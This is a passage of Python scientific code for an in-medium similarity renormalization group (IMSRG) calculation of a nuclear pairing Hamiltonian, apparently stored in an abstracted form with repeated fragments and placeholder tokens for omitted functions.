= reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= 